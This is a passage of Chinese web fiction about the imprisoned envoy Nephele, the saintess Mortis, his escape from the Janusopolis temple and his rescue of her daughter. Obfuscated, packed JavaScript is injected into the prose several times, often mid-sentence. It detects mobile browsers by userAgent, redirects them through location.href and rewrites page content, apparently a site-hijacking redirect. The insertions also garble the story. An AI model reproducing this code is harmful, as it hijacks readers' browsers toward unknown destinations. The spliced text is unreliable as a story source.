随着情绪的发酵，涅斐勒注意到自己四肢上的锁链开始发烫，金色的符文闪烁起微弱的光，随后变得越来越亮，像一盏盏灯点亮了囚室的墙壁。就在这时，他发现：这间按理来讲属于他的狭小囚室，四壁上却刻着数不清的符号。涅斐勒认出，那是佩拉斯的祭司们为了和神明沟通而创造的语言。问题是，这里除了他还有谁会懂这种语言？ 涅斐勒撑着墙壁站起来，被限制的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438464|169313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活动范围迫使他只能站在墙边不到三步远的位置和墨忒斯交谈。 “墨忒斯阁下，我直说吧，不管你有什么样的苦衷，我劝告你，别再参与那些人在欲望的驱使下产生的愚行。那些忘却信仰，连道路都舍弃，早就连盲人都不如的豺狗；那些在波及无数城邦的灾难前都放不下无聊隔阂的权力的奴仆……我发誓，他们会为自己的所作所为付出代价。” 墨忒斯依旧保持着微笑，她对礼节的恪守疑似属于一位真正的圣女。 “涅斐勒阁下，看起来，我没有机会向您表达真正的来意了？” “你们的来意？” 涅斐勒说。此时此刻，抓住他手脚的灼烫仍清晰可见，仿佛神明惩戒的辉光。 “回去告诉那些人，不管他们在我身上做了什么、以及还打算做什么，只要他们不拿对他们来说最重要的东西在塔兰顿的天平前向我跪地忏悔，我都绝对不会用我获赐的力量帮他们做任何事。” 墨忒斯垂眸，早有预料般答道：“我明白了，涅斐勒阁下，我会会如实转告。” 墨忒斯仿佛受困于某种枷锁的表情让涅斐勒皱起了眉。 “墨忒斯阁下，不必露出这种表情。”涅斐勒不打算将被算计的不满迁怒于一位让他感受到友善和真诚的圣女。他隐隐猜到或许是那帮人同样对墨忒斯做了什么，胁迫墨忒斯参与他们的计划，这位女性才会出现在这里，以及对他说这些话。 也许他该保持冷静，了解他们的目的？ 不。涅斐勒摇摇头，他所得到的答案一定是个破绽百出的谎言。这个问题，他必须自己寻找答案。 涅斐勒看向墨忒斯。现在，真正该好好想想、好好去做的事是…… “……墨忒斯阁下。” 墨忒斯有些意外地抬起头，“我在听，涅斐勒阁下。” “……如果他们一定要听到什么，就请你这么告诉他们吧。” 涅斐勒想了想，承诺道： “给我雅努萨波利斯的书籍，将我从这里放出去。满足这两个条件，我可以考虑他们提出的任何要求。” 墨忒斯愣了一下。那隐藏在表面的目的里、比翁法罗斯夜空中的星光还要微弱的善意，她察觉到了。 墨忒斯想了一会，露出了一个自见到涅斐勒起最真实的笑容。 “好的，涅斐勒阁下。”墨忒斯说，“我会把这些话如数转告给政院的各位。” “请您……静候佳音。” 15. 敏锐 看来，雅努萨波利斯政院的人的确想从涅斐勒这里得到什么。 第二日，立刻有人跟随墨忒斯来到了监禁涅斐勒的囚室。望着有些许黯淡的金色符文，抱着圣典的政官们不约而同地露出不赞同的神色。 政官们旁若无人地商量了一阵，推举出一个代表问：“涅斐勒阁下，难道就在刚才，您动用「神迹」了吗？” “显而易见。”涅斐勒说，“你们剥夺我的自由，总不能不允许我想办法反抗吧？” 政官很不乐意地叹了口气。 “涅斐勒阁下，这是神谕。”政官说，“由于您犯下了严重的罪行，为了平息人民，主要是神明的愤怒，我们不得以让您以这种方式赎罪。何况根据雅努斯的预言，这是停下那场雪，让您回到佩拉斯的唯一途径。” “请你慎言。”涅斐勒低声说，“我，佩拉斯的大祭司涅斐勒，以我对艾格勒的信仰起誓，我绝没有做出任何伤害吾友的举动来。” “可有树庭的精灵目睹您将那位「最初的学者」拉入黑潮。”政官说，“而当它回到树庭通报这件事后，您的城邦也传出消息，回到那里的只有您一人。” “我不记得有那些事。”涅斐勒找寻着政官话语中的漏洞为自己辩解，“何况，就算你说的是真的，那么为什么仅凭那只精灵的证词就判定我必定有罪？” 政官身后，一位年轻的见习政官似乎忍无可忍了，他走上前怒斥道：“涅斐勒阁下！您现在的话是在说，虽然那位重要的学者因您的邀请客死他乡，证据确凿，但你却坚称这些是和你无关吗！” 这番近乎直白地指认涅斐勒所犯罪责的话在昏暗的囚室内激起一阵窃窃私语。政官抬手阻止他，警告弟子不要对一位天空泰坦的使者无礼。 涅斐勒对上见习政官不甘的视线，但在泰坦威严的“视线”下，他还是低头了。 “涅斐勒阁下，如果我没记错，您现在应该处于一无所知的状态下。”政官对上涅斐勒古井无波的眼睛，“如果圣女大人已经告诉了您那些故事，那么您大概能猜到，在这些年里，一直是雅努萨波利斯的政官在照料您的身体，使它不至于在死亡泰坦的诅咒下患病和腐烂。如此一来，您能暂时放下对我们的不满，听一听我们想要告知您的事吗？” 涅斐勒满不在乎地微笑。凭他对这一类人的了解，涅斐勒能准确地感应到政官话语背后酝酿的威胁，事实真相一定远比他说的要复杂，而雅努萨波利斯政院的政官们也绝非他所阐述的那样正直与善良。他难道会想不到这些锁链和谎言的背后映照着什么吗？但为了这条唯一取得外界情报的通道，涅斐勒别无选择。 涅斐勒低笑一声，说：“当然，请说吧。我会聚精会神地听清你说的每一个字。” 就这样，得到使者的许可后，政官认真清了清嗓子，用娴熟的讲述技巧将更多的故事娓娓道来。 原来，自雅努萨波利斯迎接独自踏上赎罪之路的使者后，命运三泰坦中以岁月为名的欧洛尼斯便于月光中降下了神谕。祂的预言，同那晚的月色一样纯白而皎洁。预言指示，涅斐勒须得留在雅努萨波利斯，用使者的神迹和耳濡目染的智慧指点将在这座城邦诞生的圣女，直到他身上伤害的罪被彻底洗清。唯有如此，命运才会再度接纳他，奉还他被夺走的另一半灵魂。 刚才他们说，灵魂？ 涅斐勒问：“这位政官，你说的这些我全都不记得。至于我的「灵魂」——” 政官立刻俯首，恭敬地开口： “涅斐勒阁下，我们绝不敢篡改欧洛尼斯降下的预言。所以，您大概也猜到了，您之所以不记得这些，是因为被您往日行径触怒的泰坦暂时收走了您的灵魂。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但危机还没有结束。正如这捆缚着涅斐勒的锁链，依旧将他拽在干枯的大地上，迫使他只能仰头在铁屋的缝隙间看到一丝自天际施舍的月光。 手指触到书本的那一刻，涅斐勒给人的感觉变了。在陪着他的墨忒斯眼中，这个在历史中褒贬不一的使者一时间如同一个安静的孩子。这副用威吓吓跑来犯的坏人后，蜷成一团沉浸在书本中的样子，简直就像她那被政院带走的女儿一般。 墨忒斯的内心叹息着。她很抱歉，她缺少将真相告诉使者的勇气。但是仅凭他自己涅斐勒也一定能找到答案。墨忒斯相信，涅斐勒一定能兑现这一则由她说出的预言。 涅斐勒合上书本，抬起头：“墨忒斯，你还不回去吗？” “我很快就回去。”墨忒斯回答，“但现在我想在您身边待一会……您可以允许吗？” “……”涅斐勒拿起手边的绘本，递给墨忒斯。 被囚于同一个牢笼的鸟儿，类似的伤害和恐惧总能使它们找到互相依偎的理由。 “不过，墨忒斯，”涅斐勒好奇道，“你是雅努萨波利斯的圣女，怎么要对我用敬语？” “因为，我尊敬您。”墨忒斯说，顶着涅斐勒显然带着怀疑的视线，她忍不住露出微笑，“请别露出这种表情，我不是在谄媚您，也不是在为政院争取您的好感。”见涅斐勒朝她看来，墨忒斯试着让自己的笑容更温暖一些。“涅斐勒阁下，我真心钦佩您的远见，钦佩您为自己的城邦带来的富饶与和平。” 涅斐勒抚摸着膝上的书本，封皮粗糙的触感让他回想起每一个在佩拉斯神殿藏书室废寝忘食的白天和夜晚。 “可佩拉斯已是座死城。”涅斐勒淡淡地说，“墨忒斯，我已经接受了这个现实。” “那并非您的错。”墨忒斯说，“佩拉斯虽然被人们遗落，但是您的准备奏效了。那些黑潮无法将高塔淹没，而那些城墙则很好地把灾祸隔绝在了墙外。” 涅斐勒安静地听完，平静地说：“嗯。不过，就说到这里吧，墨忒斯。” 涅斐勒不想谈论这个话题。墨忒斯注意到涅斐勒低垂的眼睛……他并没有表面上看起来的那样冷静和坚强。 “我很抱歉提起这件事。” 墨忒斯走到涅斐勒身边，那里散落着一地各式各样的图书，甚至还有给雅努萨波利斯的孩子阅读的童话书。 “但我不希望看到您这样悲伤。” “真有意思。你看错了，我没有悲伤。” “您有。”墨忒斯坚定道，她低下头，微笑着整理起一本又一本图书。 “我只是想让您知道，无论那些罪状是真是假，您都不止是一位害故都陨落的罪人。” 涅斐勒笑了笑，问：“那我是什么？” 墨忒斯捡起最后一本书，她的声音温柔而充满了觉悟： “您是为雅努萨波利斯的圣女带来转折和希望的使者。” 墨忒斯的怀中抱着一本本书，最外面的一本是有着绚丽封面的童话绘本，封面上是一颗在夜幕轻盈翱翔的七彩流星。那颗彩色流星就像墨忒斯此刻含笑的眼睛，璀璨而充满希望。 “是吗？”涅斐勒没被打动，面带讥诮地反问：“可预言不是假的吗？” “在人类掀起的内部纷争里，其它城邦先将我这个立场不一致的「使者」驱逐出自己的城池……再用某些办法，让掌握神迹的雅努萨波利斯对我的灵魂做些手脚，夺走我的记忆，动摇我的信念，再不断地给我讲一些似是而非的故事，让我以赎罪为名，行屯兵侵略之实。哈，我要是如了他们的愿，恐怕到清算的时候，我又是那被推出去承受民众怒火的替罪羊！” 一想到就是那些阴险恶毒的手段夺走了他的自由，迫害了自己的朋友，涅斐勒就克制不住自己的愤怒。 涅斐勒冷冷地说： “我说的这些，才是真相吧？” 墨忒斯摇摇头，所有的书本被她一本一本地放在一边垒好，她压着裙边，屈膝坐在涅斐勒旁边的地上。 “您说的这些当然是真相，但……我也有我得知的真相。” 墨忒斯翻开一本书。 “如您所知，涅斐勒阁下，我，墨忒斯，是雅努萨波利斯的圣女。” 墨忒斯轻轻开口，以仿若讲故事的口吻陈述道： “从我成为圣女的那天起，我就听见了命运泰坦们的神谕。祂们告诉我无数城邦的命运，人类的命运，翁法罗斯的未来，但同样重要的是，祂们告诉了我您的存在——您是黄金世的圣者之一，是极少数从存活到现在的圣者。按理来说，您的身上应该充满了那个时代的烙印，您应该充满笑容、洋溢着满足和幸福，对这个纪元的纷争既不知晓，也不在意。恕我冒犯，但是根据我对历史的了解，您本应如此，本应像大多数那个年代的城主一样。” 涅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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墨忒斯只有很短暂的惊讶，随后是一股淡淡的了然。 圣女说：“那么，涅斐勒阁下，我现在可以向您证明这个答案的价值了。” 此刻，她不再微笑，表情变得严肃而神圣，那头红发仿佛在像火焰一样燃烧。 “「无聆神谕的祭司，汝将以身为火，截取天父的神芒，敲碎门径的铁链」。”墨忒斯说，“这则预言，由我——雅努萨波利斯的圣女墨忒斯——在此传递给你。” “「至汝所求之物，皆已沉于命运之底。若持火点亮照夜，汝可使那光辉再现」。” 17. 雅努萨波利斯的囚徒 你会得到你期望的，你会打碎困住圣女的枷锁，让她从不自由的困境中解脱。 他想起墨忒斯提及的自己的女儿。从那简短的预言中，涅斐勒理解了墨忒斯每一个举动的意义，理解了她的每一个微笑，还有偶尔浮现眼角的悲伤。 可是，也正是从那一天起，墨忒斯就像是故事里完成了使命的羔羊，消失在涅斐勒的生活中。政院的政官们接替了她看管涅斐勒的工作，涅斐勒试图从他们嘴里问出墨忒斯的下落，可那些政官个个都像得到了统一的指示般，没有一个人开口，无论他是诘问或是祈求。 她去哪里了？现在还好吗？ 涅斐勒伸出手，一只小鸟儿从囚室破损的一角落到他指尖，那是一只机械鸟。他希望这只小鸟儿今天能为他带来墨忒斯的些许音讯，但从机械鸟儿安静的样子来看，对涅斐勒来说，今天又是一无所获的一天。 涅斐勒的表情有些沉重，他抬手放飞小鸟，瘫坐着看着囚室的高墙。 他该怎么告诉那位母亲，他早已从牢房中找到了那条通往自由的路？ 囚室的角落，无数只机械银鸟折断了鸟喙，只为代替主人的双手在那封锁天空的铁壁上写下能为他换来自由的文字。 除了背后的这面，囚室的三面墙上，全部是用佩拉斯古文字写下的一则则故事。那些故事相差无几，而从主题和内容来看，正是每一次苏醒政官们讲给涅斐勒的故事。 显然，它们都是假的，但虚假的故事整理到一起反倒互相矛盾，为涅斐勒指认了唯一的真相。 ……简而言之，这是雅努萨波利斯政院为了得到一座人形兵器制造厂，编了些假话哄骗制造厂（涅斐勒），却被他本人发现，事后反被套话的可笑故事。 哈，只要读一遍墙上的文字，那些人在想什么，涅斐勒清楚得很。该相信谁、又该帮助谁，一开始涅斐勒心中就有答案。 即使沦为囚犯，也不妨涅斐勒快意地畅想，但他的手指却不自觉地摩挲着铁链。 每放出一只手掌大小的机械小鸟，身体与铁链相接的地方就传来对等的疼痛。随着放出的机械小鸟越来越多，身体感受到的疼痛也越来越让涅斐勒烦躁。 细密的疼痛从他的腕骨、踝骨上传来，沿着神经中逆流的血传遍他的脑海……当那种感觉被他的头脑记住，连涅斐勒自己也不确定，被这种令人抓狂、无处不在的疼痛折磨着，到底何时他会彻底放弃思考，向政院的家伙屈服，变成他们期望的一具只会为他们的欲望制造机械的傀儡，一件好用的人形兵器。 他想在这里等到墨忒斯回来。但是，如果再拖下去，指不定墨忒斯回来，见到的就是一个疯狂、只会用指甲抓挠皮肤的政院的囚徒。 涅斐勒深吸一口气，伸手握住铁链与墙壁的连接处。他劝自己：再忍耐一下，涅斐勒任由比之前加在一起都要刻骨的痛感在身体之中畅游。被他抓住的那一截铁链浮现被解构的蓝光，再松手时，铁链已经变成了一只漆黑甲虫。 涅斐勒敲敲黑甲虫的甲壳，甲虫惊吓地跑走了。捆缚涅斐勒左手的铁链失去与墙壁的连接，砰地砸在地上，激起一圈烟尘。涅斐勒如法炮制，把另外三根锁链一一做成圆滚滚的机械甲虫。至于拖在涅斐勒身体上的部分，上面的金色符文已经黯淡。只要用同样的办法就可以把它们摘掉——就做成银底金纹的天牛吧？ 涅斐勒站起身，享受着自由的滋味，直到违和感俘获了他。涅斐勒摸到脖子上的铁枷。上面的金色符文熠熠闪光，手指摸到对应的凹槽时还会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438467|169313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有被闪电劈过般的刺痛。 涅斐勒被气笑了：“……”这东西除了恶心他一阵还有什么用？！ 冷静。自从在牢房里醒来他的脾气就越来越暴躁，不行不行，这样不好…… 涅斐勒深呼吸两次，活动起肩膀，贴在门边，侧耳聆听着囚室外传来的动静。 “……” 很安静……没有人。 至于更远处……有田鼠的叫声。很好。 墨忒斯在传递预言的第二天就将雅努萨波利斯神殿的地图给了涅斐勒——虽然涅斐勒很奇怪那一看就是儿童画的笔迹是怎么从墨忒斯手中出现的，但不重要——涅斐勒得以将制造的机械田鼠沿缝隙放到雅努萨波利斯神殿各处。田鼠叫声传来的位置就是道路存在的位置，而田鼠磨牙的动静意味着守卫在逼近。借由这套请报系统，再加上一点逻辑推理与想象能力，涅斐勒轻而易举地掌握了神殿守卫的巡逻路线，确定了逃离的最佳路径和时间。 再见，雅努萨波利斯，再也不见。 至于这扇只有雅努斯的神迹才能打开的门，涅斐勒毫不在意地抚摸它的纹理。几秒后，沉重的石门睁开新获得「眼睛」，一只灰蓝色外壳的鳄鱼出现在了囚室之内。 脖子有点疼。涅斐勒摸摸机械鳄鱼的脑袋，指使它去给守卫们找点麻烦，别让他们太无聊——当然，不至于搞出人命来。这只是一点来自艾格勒信徒的合理报复，而不是尼卡多利手下的部族不闹出恶性事件不罢休的杀戮。 在神殿的混乱里，涅斐勒偷溜出来。望着久违的天空——准确点，夜空，他畅快地抬起左手，想要抓住天上的星斗。 赞美这令人爱不释手的自由！ 好，庆祝结束。那现在，是不是该做点正事了？ 18. 至于神明，则始终缄口不言 几乎同一时间，墨忒斯被政官们簇拥着推上了通往仪式之地的山路。夜幕轻轻地拉起隔绝生与死的帷幕，她的身后是侍奉圣女的神官们……看到这一幕，墨忒斯知道，她没有退路了。 只希望她的女儿——雅努萨波利斯下一任的圣女——缇里西庇俄丝，能够因她与那位囚困于密室的使者所做之交易，得到比她更幸福的人生。 山麓之顶，为献祭而亮的火正如烈阳般怒燃。 “圣女大人，请。”政官在墨忒斯身后低下头，尊敬地邀请她走入祭坛。 “埃斯顿阁下，请您照料好雅努萨波利斯未来的圣女，照料好我的女儿。”墨忒斯深深地望着这位年轻的政官。 “……前辈们自然会履行养育圣女大人的职责，请您不必挂怀。”被墨忒斯称为埃斯顿的政官低着头回答圣女的话。 不管这是不是墨忒斯想要的回答，时间已经到了。另一位政官咳嗽了好几声，墨忒斯笑了笑，在催促中走向祭坛的中央，默然垂跪在地，口中吟咏起祝唱的咒词。 ……随着仪式的进行，隐隐有源自泰坦的悲鸣响彻整座山谷。 “涅斐勒大人……” “嗯？” “我们真的只要看着就好吗？” 涅斐勒身后个头娇小的女孩问。她戴着破破烂烂的兜帽，紧抓手边的岩石，生怕一不小心失足坠落。 “嗯……”涅斐勒心不在焉地应道，在政官们不会留心的高处俯瞰着深谷里燃烧的祭坛。 “涅斐勒大人，在您被关押的日子里，墨忒斯大人帮了大家很多……”女孩不确定涅斐勒的意思，鼓起勇气继续道。 几百年前，那场无妄之灾后，佩拉斯的流民有的死去，有的投奔了别的城邦。有一脉忠实的族群，坚信那戴罪的使者并非众人口中的背叛者，义无反顾地跟随他踏上了前往雅努萨波利斯城的旅途。 涅斐勒沉默着，稍长的银发被山谷的微风吹起。他看着愈燃愈盛的火，看着祭坛前深不见底的幽谷答： “嗯，你说的对。那也是她今天会跪在那里的原因之一。” 女孩眼睛一亮，“那我们——” 涅斐勒看出来了，女孩正期待着他能用手边无数多的滚石制造出盔甲或犀牛，创飞那些拱卫的政官和祭司，把她心目中善良的圣女从侵身的烈火中拯救出来。 “抱歉，但是不行。”涅斐勒说完，大概是意识到这样的答案对于一个十二岁的女孩过于残忍，看到女孩露出受到打击的孩子才会有的表情，仿佛期待已久的糖果在最后被父母夺走般，涅斐勒软下心肠，简短地向女孩解释自己的选择： “现在做多余的事，会让她和你们的努力前功尽弃。” 女孩的声音细若蚊蝇，“嗯……哦。” “格尔达，很抱歉让你看到这一幕。你还有什么想对我说的吗？” 女孩——也就是格尔达摇摇头，打出生起就过着流民的生活，被不懂事的小孩欺辱跟嘲笑的孩子向来知道明事理的重要，也更能明白忍耐的价值。 “没有了……涅斐勒大人。”格尔达说。 她扬起小鸟般的脑袋，看着眼前沉默不语的人类；她观察的对象，看起来既不像雅努萨波利斯课本中那样冰冷跟邪恶，没有人心亦没有眼泪，也不像父母告诉她的故事里那样强大完美，无所不能。 “那么，格尔达，因为那些被祭司剥离的灵魂，我无法记起和你们相处的事。”涅斐勒引导着女孩回忆起自己的信念，“能请你将墨忒斯给你的「指示」在这里重复一遍吗？” 女孩绷着脸点头，“好，涅斐勒大人。” “「孩子，你要去……」” “孩子，你要去神殿的祭场之外，在那里等待你们的使者。”圣女温柔地抚摸着格尔达的脑袋，像是抚摸她自己的孩子一般，“请你放心，智慧的雅努斯告诉我，他并非罪人。相反，你们族群追随的使者，是一位坚忍的圣者。” 格尔达知道圣女是好人，照她说的做那就是在做好事……所以，她高兴地答应了。 格尔达的族群肩负着不变的使命，那就是侍奉历代佩拉斯的大祭司，帮助那些身披银袍的使者更好地履行神递下的指令。 只是……在那位最后的圣者背负起世人的骂名后，一切都变了。城邦分裂，族群也未能幸免。负罪的使者将信徒聚集，告诉他们每个人： “谋害塞勒苏斯的罪人不是我，但是，我无法左右世人的言行……我要前往雅努萨波利斯，从命运泰坦的口中取得为自己和佩拉斯正名的启示。如果你们中有人愿意相信我的清白，就和我一起踏上这段旅途吧。” 没有多少人愿意相信他，即使涅斐勒大人为佩拉斯人做了那么多事—— 这充满愤懑的话是格尔达的父母给出的评价。毕竟那时格尔达还没有出生，小小的她只能从父母不甘的表情里品读那段往事。 在雅努萨波利斯，冠以「佩拉斯」之名的人毫无疑问遭受了原住民的排挤。使者不忍追随他的信众在三相圣城的寒岁中冻毙，用自己的力量在远离主城的山脚下建起仿佛旧日佩拉斯城的小镇，亲自开垦土地，种植蔬菜，或是制造陷阱，捕获猎物。 那时几乎每个佩拉斯人都敢发誓：他们这群罪人的随从没有以任何方式践踏雅努萨波利斯的神圣，就连雅努萨波利斯的食物他们都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438468|169313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一口未食，使他们在凋敝的岁月里活下来的不是仁慈，而是使者的庇佑和他们自己的劳动！ 但政院的那些疯子，偏要让使者为他们的野心买账——小时候，格尔达的母亲经常像这样尖声辱骂着政院。 使者想要从神殿处得到泰坦的启示，即便他一出现便会迎来乌泱泱的窃窃私语。政院向使者晓示来自「泰坦」的「神谕」，向使者索求那一份流淌在他灵魂里的力量。但使者坚持只听从由圣女传递给他的神谕，政院与使者的交谈不欢而散。 使者日复一日地登门，几百年间一直登门寻求由圣女传递的预言；但雅努萨波利斯每一代的圣女都因为不同的原因将使者拒之门外；至于神明，则始终缄口不言。 直到二十年前，使者消失了，在前往神殿求取神谕后，之后，政院的人带着高傲的神色出现在佩拉斯人定居的小镇之外。 “你们的使者已经认罪。从今天起他要在神殿接受洗礼，直到偿清自己的罪过。”政院的传令官说，“至于这座镇子，作为赎还的物品之一归政院所有，请各位移步别处吧。” “移居哪里？除了这座镇子，我们没有地方住！”人心惶惶，有人提出质问。 传令官不耐烦地说：“我怎么知道？也许你们可以找个不要的棚屋挤一挤；追随谋害贤者，忤逆神明的罪人，这些下场是你们自找的！” 那时，目睹这一切的格尔达的父亲，还是个和她一样大的男孩。 到最后，是雅努萨波利斯这一任的圣女反复地提起，将政院剥夺佩拉斯人住所的指令暂时压下，让他们直到使者赎清罪孽，自神殿归来前，都能住在这座沾染罪孽（政院语）的小镇。 嗯……格尔达不懂，但格尔达知道，政院的坏家伙要让他们走，而圣女大人和使者大人，都想让他们留下。 “墨忒斯大人说，政院的坏人一直在盯着她，所以要让我把真正的故事告诉您。”格尔达说，“她说这样，您一定能帮她的女儿和自己得到自由——不过我都没见过那个女孩，涅斐勒大人见过吗？” “没有。”涅斐勒说。 格尔达惊呼：“坏！” “但问题不大。如她所言，我已经知道该做些什么了。” 说完，涅斐勒静静看着仪式进行。直到火光熄灭，直到名为墨忒斯的人类如残烛般倒在地上，他沉默着，闭上眼为这位伟大的圣女默哀。 请您垂佑，请您得享安眠。 涅斐勒，以天空泰坦之名起誓，必将您的心愿贯彻，在明天使您与血亲相逢。 仪式结束，“走吧。”涅斐勒说，“我们回去——然后，去找「缇里西庇俄丝」吧。” 19. 西风中自由的一缕 好几天前，妈妈就走了。 圣女的闺房中，缇里西庇俄丝趴在床上晃荡着腿，托着脑袋在小本子上用彩色的笔慢吞吞地写写画画。各种颜色的线条在纸上汇聚，编织成美梦的颜色。 她画的是前两天梦里的画面，主人公是红色的小鸟——这个是她！还有白色的小马和它的伙伴——灰色的小夜莺。在梦里，他们一起战斗，一边躲避黑色的海浪，一边和邪恶的螃蟹大怪兽斗智斗勇，最后战胜了螃蟹！她和白色的小马还有灰色的小夜莺一起从怪兽关押他们的海岛上离开，飞到一个很漂亮的、开着金色花海的地方。大家都在那里，没有人会受伤。 她真的很想把这个故事讲给妈妈听，但是妈妈出去了，只告诉她这是圣女应尽的使命。 缇里西庇俄丝是聪明懂事的孩子，当然不会纠缠着妈妈不放啦！之前妈妈也有出门的时候，据说是去拜访一个住在神殿里的哥哥。 可是这次不一样，自从妈妈跟那些严肃的叔叔和他身后陌生的哥哥姐姐离开后，就一直没有回来。 正当缇里西庇俄丝百无聊赖地回忆故事的细节时……沉寂的门外，忽然传来响声。 “等等！你们是谁！” “护卫！护——啊！” 两道沉闷的声响，地板都在颤抖。缇里西庇俄丝吓了一大跳，侧耳聆听屋外的响动。 “这扇门……嘶，刻着咒文，那群家伙居然真的在防范我打开这扇门？” 是一道冷淡的声音，发出了被什么东西刺痛的抽气声。而在缇里西庇俄丝眼中，华丽的屋门忽然显露出金色的浮光，看起来无比神圣。 “那怎么办，涅斐勒大人？”年轻女孩的声音急忙说，“巡逻队马上会发现这里的！” “看起来……确实没办法了。那就直接轰开吧。” 女孩的声音卡壳了：“等一等！涅、涅斐勒大人，这么做真的行吗？” 冷淡的声音发出轻轻的笑声，问：“你不相信我，还是不相信墨忒斯的圣女资质？” “不不，我没有。但是我们毕竟是要轰开有雅努萨的祝福加护的大门……” “……更坚固的东西我也开过了。比起这扇门，我更希望雅努萨不要被我触怒才好。” “好……那、那我会替您放风。” “放风就不必了，早晚会被他们发现。比起这个，让开点，格尔达。让「它」把这扇门砸开。” 那道声音忽然变近。 “缇里西庇俄丝大人，你在里面吗？如果在的话，请你离这扇门远些，我要开门了。” 砰——地一声，刻满了咒文，还有祝福加护的大门倒塌了，出现在缇里西庇俄丝面前的是一个银色长发、身披斗篷的男人，还有他身后同样戴着灰色兜帽的年轻女孩。还有一个……金色的、浑身覆盖着盔甲，手臂化作冰冷长剑的机械「剑士」。 缇里西庇俄丝目测出来——它足足有两米多高！那对锋刃光洁如新，盔甲遮蔽了它的面容，只留下一头从后脑瀑布般流出的红色长发。 缇里西庇俄丝还没搞清发生了什么，戴着灰兜帽的女孩探出头，哇了一声。 “这就是缇里西庇俄丝大人，墨忒斯大人的女儿——真可爱！” 银发男人：“……格尔达，注意礼貌。” 相比起自己年轻的同伴，银发的男人要谨慎得多。他先是蹲下身打量缇里西庇俄丝的容貌，再观察了一圈周边的环境——绘本和积木，立在墙角的小黑板上画着精巧的火箭模型。 “这些字迹还真是眼熟。” 貌似是通过这些举动确认了什么，银发男人松了口气，笑了笑朝女孩伸出手。 “动身吧，缇里西庇俄丝阁下。”他的声音虽然冷淡，语调却低沉又温和。 “佩拉斯城的使者涅斐勒，遵照雅努萨波利斯圣女墨忒斯大人的指示前来，为您履行使命的旅程的提供一切力所能及的帮助。” 缇里西庇俄丝躲在床幔后观察着这个陌生人：他看起来有些可怕，脖子上还戴着做坏事的囚犯才有的枷锁……但他的眼睛看起来很温柔，像蓝色的天空，像妈妈的眼睛。 女孩虽然胆怯，但是从妈妈那里得到的小小勇气还是让她挺起了胸膛。 “妈妈说，不应该随便和陌生人走。”缇里西庇俄丝说。 “果然。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438469|169313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”被女孩拒绝，银发男人笑容收敛，但即便如此，他并没有表现出不满，反而多出了几分理解和认同。 “那么，如果我拿出「证据」，你愿意和我一起吗？” 说着，银发男人打开藏在身后的另一只手，向缇里西庇俄丝展示一枚华丽的金戒。 缇里西庇俄丝愣住了，她不敢伸手。因为…… “……妈妈的、妈妈的东西？” “如果你需要，我可以将它造成小鸟。让它为你传递墨忒斯最后的余音。”涅斐勒说。 “或者，只是留给你作为「纪念」，也是它很好的归宿。” 他似乎在这种事情上什么都考虑到了，只为让女孩的心变得好受一点。 妈妈是圣女……有很多人保护妈妈，所以如果这个哥哥真的有妈妈的戒指，那……大概率是妈妈自愿给他的。 缇里西庇俄丝掩住内心不安的预感，抬起头看向涅斐勒。 “不用了，虽然我很想要，但是还是涅斐勒哥哥拿着吧！那个是妈妈给你的礼物。” 涅斐勒点头，收起戒指，“那么，我会为你使用它的。” 他再度伸出手，“走吧，我们离开这个地方，去获得——我们本该拥有的自由。” 